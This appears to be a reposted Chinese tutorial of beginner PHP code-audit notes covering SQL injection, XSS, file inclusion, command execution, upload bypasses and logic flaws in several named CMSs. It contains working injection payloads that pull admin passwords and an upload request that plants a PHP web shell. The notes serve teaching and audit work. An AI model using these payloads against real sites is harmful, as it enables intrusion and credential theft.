zoukankan      html  css  js  c++  java
  • php代码审计基础笔记

    出处: 九零SEC
    连接:
    http://forum.90sec.org/forum.php?mod=viewthread&tid=8059

    ----------------------------------------------------------
    team:xdsec&90sec
    author:wilson
    blog:http://blog.wils0n.cn/
    文章链接:wilson's blog_php代码审计基础笔记[求人气~~]
    -------------------------------------------------------------
    0x01 前言

    这阵子在学php代码审计,算是一个笔记。留着以后看。
    php代码审计需要比较强的代码能力以及足够的耐心.....
    至于如何学好php代码审计?去膜拜p神吧....
    看着p神的文章,学审计......  许多东西都是复制p神~


    文章写给像我一样刚刚开始审计的小菜鸟~,有错欢迎指出~
    求勿喷...........继续学审计中........
    +++++++++++++++++++++++++++++++++++++++++++++
    0x02 审计前奏
    一)关注变量+函数
    1.可以控制的变量【一切输入都是有害的 】
    2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
                                                                        ------来源t00ls
    客户端提交变量:
    $_GET:http://localhost/mm.php?a=xxxxx
    $_POST:
    $_COOKIE:
        记录在我们本地浏览器中的变量,是可控的。PHP中还有一个变量$_SESSION。
        每个人访问网站,他的phpsessid都是不一样的,这个值就用来区分每个用户。服务器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4来标示每个用户,是否登录或者是否是管理员。
    $_FILES:
        可能产生的漏洞类型:
        01.上传漏洞,上传一个php木马,相当于直接getshell了
        02.注入,有些cms会把name的值保存在数据库里,但又没有对name进行过滤
    $_SERVER:其中部分我们可以控制。
        X-FORWARDED-FOR:IP地址,很多cms取ip是首先取这个变量中的值,如果
        没有这个变量,才去取我们的真实Ip.
        Referer:来源地址,我们访问目标页面的来源
        Host:目标网址这几个变量就是我们php中间用户可以控制的变量。
        大部分的漏洞都是 从这几个变量开始展开的。

    $_REQUEST 就是$GET/$_POST/$COOKIE

    要是使用了xxx框架的话,如何找到这些变量呢?
    Mvc框架比较流行了
    所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14]
    --------------------------------------------------------------------
    二)关注什么样的漏洞
    1.Sql注入
    2.文件操作[上传/写入/读取/删除]
    3.文件包含
    4.命令执行
    5.Xss
    6.Cookie欺骗
    7.逻辑出错
    ........等等
    每种漏洞有对应找漏洞的方法,往往先找getshell的方法[1,2,3,4这三中漏洞是常见的getshell方法我们要多多关注这个]而逻辑出错也是很要命的。。。。 - -
    所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧.....
    --------------------------------------------------------------------

    三)本地搭建环境测试
    1.黑盒加白盒
    不得不说黑盒的重要性!
    Burp常开对你只要没有坏处!

    2.大体看看文件的目录

    3.cms安装到本地,大概了解功能,比如有注册会员功能的cms,我就注册一个会员,比如有搜索框,我就会搜索一下,大概查看一下搜索出来的内容,[恩 因为字符型都进行了转换 @ _@ 所以搜索型的很重要,有哪些数据提交点、能否留言等等] 摘自p神

    技巧:最好可见在本地测试时候讲你的输入点打印出来
    我会将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。
    我审计了一个cms就是这样的,结果黑盒就发现登入处有注入,真的去审计还花了不少力气去读源码,并且学会了一个thinkphp的执行sql特点.
    +++++++++++++++++++++++++++++++++++++++++++++++++++++
    四)审计各种不同漏洞技巧
    1.Sql注入审计技巧
    sql注入是我们审计比较重视的漏洞之一

    0x01 漏洞原理
    所以现在很多cms都对注入进行了一定的过滤,一般有两种过滤方法:
    01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
    $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
    要是没有intval($_GET[id]) 那就呵呵了。//有一个屌丝cms就是这样......
    ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
    02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
    aaa’aa ==> aaa’aa
    aaaaa ==> aaa\aa
    SELECT * FROM post WHERE id=’aaa’ union select pwd from admin limit 0,1#

    --------------------------------
    0x02 漏洞发生

    要是过滤不是上面这几中,而是黑名单,或者你欠日什么都没有过滤的话,那么很多情况下是可以注入的。所以cms随着漏洞的爆出,慢慢的这样的情况几乎都没有了


    那么问题来了,在上面这种情况漏洞怎么出现?[蓝翔.....]

    漏洞(一)ip没过滤直接进到sql语句
    函数讲解:
    getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。
    getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
    当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题


    漏洞(二)宽字节注入 [对字符]
    如果发现 cms是GBK 只有看看 能不能宽字节注入
    Sqlmap 的unmagicquotes.py 可以进行宽字测试


    下面摘自p神写的:浅析白盒审计中的字符编码及SQL注射.pdf
    解决宽字节注入办法:
    mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
    到这里就一般高枕无忧了.....
    但是 要是画蛇添足得使用iconv就可能出现问题了
    有些cms:
    会加上下面语句避免乱码
    iconv('utf-8', 'gbk', $_GET['word']);
    将传入的word有utf-8转成gbk.....
    发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
    我们输入錦' -->%e5%5c%27【%5c就是】
    在经过转移------>%e5%5c%5c%27【5c%5c就是\】这样我们就有可以开心的注入了....
    漏洞(三)sql二次注入
    例如:p神的HDWiki二次注入

    漏洞(四)文件名注入
    因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......
    有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
    例如:p神的emlog后台注入(需要作者权限即可)
    还有Thinksaas最新版注入无视GPC
    --------------------------------
    0x03 注入类型
    1.Selcet 注入 这个常见就不说了
    一般就是联查,要是报错开启也可以报错注入

    2.Update 注入
    p神做了一个教程关于bluecms这cms漏洞:
    Get_ip() 直接用了X-FORWARDED-FOR
    $sql = "UPDATE blue_user SET last_login_time = '$last_login_time', last_login_ip = '可控位置' WHERE user_id='$_SESSION[user_id]'";
    UPDATE blue_user SET last_login_time = '1394368489', last_login_ip = '8.8.8.8',address=(select concat(admin_name,0x23,email,0x23,pwd) from blue_admin limit 0,1), qq=' ' WHERE user_id='2'
    //addrress是前台可见的,而且长度够大
    //p神说.....
    碰到update语句中含有注入的情况,我们怎么处理?
    01.跟我刚才一样,把某个可以看到的信息给更新成管理员密码,这样就获得了密码
    02. 报错注入,使用某一特定的报错语句,让sql语句在执行中出错,能爆出管理员账号密码。但是有个条件,就是在执行sql语句的时候调用了 mysql_error函数,否则不会显示报错信息。比如bluecms就没有调用mysql_error,所以不能使用这个方法。

    3.Insert 注入
    引用了音符牛的一个文章
    音符的XD某套系统的代码审计第二弹:insert注入
    //字符串完全没过滤,gpc为关闭
    function guest_add()//添加留言
    {
    global $bqz,$lang;
    $exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
    mysql_query($exec)||die(mysqli_error());
    echo "<script>alert('".$lang."');window.location.href='http://bbs.xdsec.org/?/guest.php';</script>";
    }
    $exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
    //没有过滤就将数据放入guest表中,guest表的内容前台可见。
    payload:标题123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),'1314205172')#
    其他的随便填。
    则执行:
    insert into xdxx_guest (title,name,email,ip,content,times) values ('123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),'1314205172')#','time()')
    因为前台可以看到的只有name跟content,而name要用来闭合前面的单引号,所以用content字段来保存管理员的账号密码。

     

    0x04技巧
    技巧:最好可见在本地测试时候讲你的输入点打印出来
    我会将用户的输入数据进行var_dump
    重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]
    so,还是这技巧点

    =====================================================

    2.xss审计技巧
    Xss最常见就在留言板地方了!
    1.先可以黑盒:
    我们可以对fuzz,加载你的xss,payload都试试。[可以积累你的xsspayload]
    然后去管理后台看看。有没有执行xss成功
    学习xss:
    心伤的瘦子专辑.......


    2.看代码看看如何过滤了,再看看能不能绕过。
    这就要靠你的本领了
    但是现在可多就都过滤了
    用了htmlspecialchars进行过滤, = =


    一个tip:
    不少cms会对留言者的ip进行记录。
    而他们用一个具有漏洞的函数,
    /**
         *
    获取客户端
    IP
    地址
         */
        public static function getip() {
            $onlineip = '';
            if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
                $onlineip = getenv('HTTP_CLIENT_IP');
            } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
                $onlineip = getenv('HTTP_X_FORWARDED_FOR');
            } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
                $onlineip = getenv('REMOTE_ADDR');
            } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
                $onlineip = $_SERVER['REMOTE_ADDR'];
            }
            return $onlineip;
      
    }
    当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的
    但是存ip的字段,有是比较小的。我们去看看p神如何绕过
    我只能说,吊死了  = =
    请收下我的膝盖......

     

    3.Xss利用
    现在应该大多都是x管理员的cookie吧。
    再次膜拜一下p神的审计能力,xss的作用可以getshell的
    我们可以利用js来发送post包,利用管理员权限去得到getshell


    $.ajax({ "url": "网址", "type": "POST","data":"POST的内容" })

    我也是刚刚知道这个知识 搞定一个cms.......
    =====================================================
    3.文件包含漏洞审计技巧
    文件包含漏洞
    看音符大牛的文章
    1.截断技巧
    %00和230个/
    2.远程包含
    allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件
    3.一个出问题的cms
    Yxcms给音符牛日穿了
    payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=....uploadmemberimage20140504 humb_1399213415.jpg%00


    =====================================================

    4.命令执行审计技巧

    没有什么技巧
    0x01 搜索可以执行php代码的函数
    Eval,assert....
    0x02 搜索可以执行系统命令的函数
    system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)....


    =====================================================
    5.文件操作审计技巧
        5.1 .两个小知识,一个tip
        1.
            $_FILES["file"]["name"] - 被上传文件的名称
            $_FILES["file"]["type"] - 被上传文件的类型
            $_FILES["file"]["size"] - 被上传文件的大小,以字节计
            $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
            $_FILES["file"]["error"] - 由文件上传导致的错误代码
        2.
            文件上传的过程:
            01.用户选择文件,点击上传
            02.服务器接收到文件,然后将文件保存在临时目录内
            03.php对文件类型、后缀等内容检查,检查通过后移动到web目录下


        tip:
        将var_dump($FILE[]);
        然后试试黑盒审计吧
        注意一点 如果文件名进入数据库也有可能造成注入的。
        因为$_FILE不受gpc影响[之前也提过了]


    --------------

    5.2文件上传漏洞    来自[+]上传攻击总结.pdf[这极好的文章]

        1.javascript上传检测
        ....直接无视
        用burp改一下就好了
        2.mime上传文件类型
        例如:BlueCMS(地方分类信息门户专用CMS系统)
        include/upload.class.php发现,只是检测了文件头,没有检测后缀.
    class upload {
        private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
    ......
        function img_upload($file, $dir = '', $imgname = ''){
            if(empty($dir)){
                $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
            }else{
                $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
            }
       
            if(!file_exists($dir)){
                if(!mkdir($dir)){
                    showmsg('上传过程中创建目录失败');
                }
            }
            if(empty($imgname)){
                $imgname = $this->create_tempname().$this->get_type($file['name']);
            }
            $imgname = $dir . $imgname;
            if(!in_array($file['type'],$this->allow_image_type)){
                 //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了
                showmsg('不允许的图片类型');
            }
    }

    Payload:
                然后我们可以将request 包的Content-Type 修改
                POST /upload.php HTTP/1.1
                TE: deflate,gzip;q=0.3
                Connection: TE, close
                Host: localhost
                User-Agent: libwww-perl/5.803
                Content-Type: multipart/form-data; boundary=xYzZY
                Content-Length: 155
                --xYzZY
                Content-Disposition: form-data; name="userfile"; filename="shell.php"
                Content-Type: image/gif (原为Content-Type: text/plain)//$_FILES["file"]["type"]
                <?php system($_GET['command']);?>
                --xYzZY--

     3.服务器检测绕过(目录路径检测)
                Filename 可以控制,直接进行%00截断看看能不能搞定

         4.文件名检测
                下面就是去检测:$_FILES["file"]["name"]
                再次注意:如果文件名进入数据库也有可能造成注入的。

                1)黑名单上传
                各种测试 这里我们看代码就可以了。
                我们可以看看能不能
                1.大小写绕过
                2.黑名单外的危险脚本[htaccess 文件攻击]
                3.解析漏洞结合
                4.利用windows特性绕过
                雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806
                phpdisk使用了黑名单
                可以用加空格来绕过
                另外大牛又给出了
                提交.php::$data 这样就不会匹配到黑名单中了。 这种想法,感觉自己有学习了....


                2)白名单上传
                1. 0x00 截断绕过
                用像test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑
                漏洞进行攻击,目前我只遇到过asp 的程序有这种漏洞
                2. 解析调用/漏洞绕过
                这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

            
        5.文件上传逻辑漏洞
                http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
                不得不又一次膜拜p神......
                文件上传,支持zip上传,但是这个phpcms没有对子目录下的文件,进行验证。导致getshell
                而且有了一个竞争上传的概念。。。。
                文件是先在服务器存在了,然后再验证文件名的可靠性。不合法就删除。那就出现问题了,在存在时候,我们可以一整去访问这个php,而这个php的功能就是写马。这样就可以成功getshell了。。。。

    5.4.文件下载
            求补充
    5.3 文件写入。文件删除
            求补充


    =====================================================
    6.逻辑出错审计技巧


    很多程序有逻辑出错的情况.....
    1.程序没有及时结束[die]
    Ducms就是/install/install.php
    没有及时结束
    给p神 利用一个外链的mysql 绕过限制 加入一个admin账户。。。


    还有一个直接写入配置文件的StartBBS重安装getshell也是因为这个原因
    除了安装可能出现这种情况
    Admin目录下也可能这样
    判定不是admin就跳转,但是php代码是继续执行没有及时结束的


    2.admin登入口检查有问题
    认证太奇葩...


    3.找回密码可能出现漏洞
    4.验证码重用,造成爆破
    漏洞类型还要很多.....
  • 相关阅读:
    JVM 综述
    看 Netty 在 Dubbo 中如何应用
    Netty 心跳服务之 IdleStateHandler 源码分析
    Netty 高性能之道
    Netty 解码器抽象父类 ByteToMessageDecoder 源码解析
    Netty 源码剖析之 unSafe.write 方法
    Netty 出站缓冲区 ChannelOutboundBuffer 源码解析(isWritable 属性的重要性)
    Netty 源码剖析之 unSafe.read 方法
    Netty 内存回收之 noCleaner 策略
    Netty 源码阅读的思考------耗时业务到底该如何处理
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4086094.html
Copyright © 2011-2022 走看看